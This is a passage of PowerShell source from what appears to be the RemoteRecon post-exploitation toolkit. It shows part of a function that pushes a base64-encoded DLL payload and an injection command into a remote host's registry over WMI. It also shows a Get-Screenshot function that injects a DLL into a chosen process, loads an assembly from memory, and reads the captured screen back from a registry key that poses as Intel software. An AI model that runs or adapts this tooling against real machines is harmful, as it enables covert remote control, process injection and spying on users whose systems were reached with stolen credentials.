$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,"$ProcessId",$CommandArgsKey
Write-Verbose "[+] Sending the command argument"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.returnValue -ne 0) {
Write-Warning "[-] Unable to send argument for DllInject command. WMI returnValue: $($result.returnValue)"
}
$bin = [Convert]::ToBase64String($Dll)
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$bin,$RunKey
Write-Verbose "[+] Sending the encoded payload"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to write Dll. WMI returnValue: $($result.returnValue)"
}
#send the command
$wmiArgs['Name'] = "SetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$CommandKey,6
Write-Verbose "[+] Sending the command"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to issue DllInject command. WMI returnValue: $($result.returnValue)"
}
}
$returnObject
}
function Get-Screenshot {
<#
.SYNOPSIS
This function will inject a native bootstrap DLL into a specified process to take a screenshot
.DESCRIPTION
This function will inject a native bootstrap DLL into a specified process, load the appropriate version of the CLR and load the
RemoteReconKS assembly from memory to take a screenshot. The image is returned via a named pipe.
.PARAMETER ComputerName
Host to target
.PARAMETER Credential
PSCredential to use against the target.
.PARAMETER RegistryPath
Base registry path for the agent.
.PARAMETER ProcessId
Target process to inject the native dll into
.PARAMETER x64
SWITCH. Architecture of the target process
.PARAMETER ImageSavePath
Path to save the screenshot image.
.PARAMETER Results
SWITCH. Return command results only.
.EXAMPLE
Take a screenshot within the context of pid 1999
Get-Screenshot -ComputerName 'BOBBYBushay.host.local' -Credential $Credential -ProcessId 1999 -x64 -Verbose
.EXAMPLE
Get screenshot command result
Get-Screenshot -ComputerName 'BOBBYBushay.host.local' -Credential $Credential -Results
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(Mandatory=$false, ValueFromPipeline=$true, ParameterSetName='Credentials')]
[ValidateNotNullOrEmpty()]
[System.Management.Automation.PSCredential]
$Credential,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$RegistryPath = "SOFTWARE\Intel\PSIS",
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[int]$ProcessId,
[Parameter(Mandatory=$false)]
[switch]$x64,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$ImageSavePath,
[Parameter(Mandatory=$false)]
[switch]$Results
)
$wmiArgs = @{
Namespace = 'root\default'
Class = 'StdRegProv'
Name = 'SetStringValue'
}
$commonArgs = @{}
$HKEY_LOCAL_MACHINE = [UInt32]2147483650
$RegistryPath = $RegistryPath -replace '\\','\\'
#Check if credentials were given
if ($PSCmdlet.ParameterSetName -eq 'Credentials') {
$commonArgs['ComputerName'] = $ComputerName
if ($PSBoundParameters['Credential']) {
$commonArgs['Credential'] = $Credential
}
}
$returnObject = New-Object -TypeName PSObject
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ComputerName' -Value $ComputerName
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Command' -Value 'Get-Screenshot'
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Args' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'ReturnCode' -Value ''
$returnObject | Add-Member -MemberType 'NoteProperty' -Name 'Result' -Value ''
if ($PSBoundParameters['Results']) {
# Get the Return code
$wmiArgs['Name'] = "GetDWORDValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$ResultsKey
Write-Verbose "[+] Obtaining the return code"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain result for Impersonate command. WMI returnValue: $($result.returnValue)"
}
$returnObject.ReturnCode = $result.uValue
$wmiArgs['Name'] = "GetStringValue"
$wmiArgs['ArgumentList'] = $HKEY_LOCAL_MACHINE,$RegistryPath,$ScreenShotKey
Write-Verbose "[+] Obtaining the result"
$result = Invoke-WmiMethod @wmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Warning "[-] Unable to obtain output for Impersonate command. WMI returnValue $($result.returnValue)"
}
#Save the image to disk or return the base64 representation
if ($PSBoundParameters['ImageSavePath']) {
$image = [Convert]::FromBase64String($result.sValue)
try {
Set-Content -Path $ImageSavePath -Value $image -Encoding Byte
}
catch {
$_
}
$returnObject.Result = Get-ChildItem -Path $ImageSavePath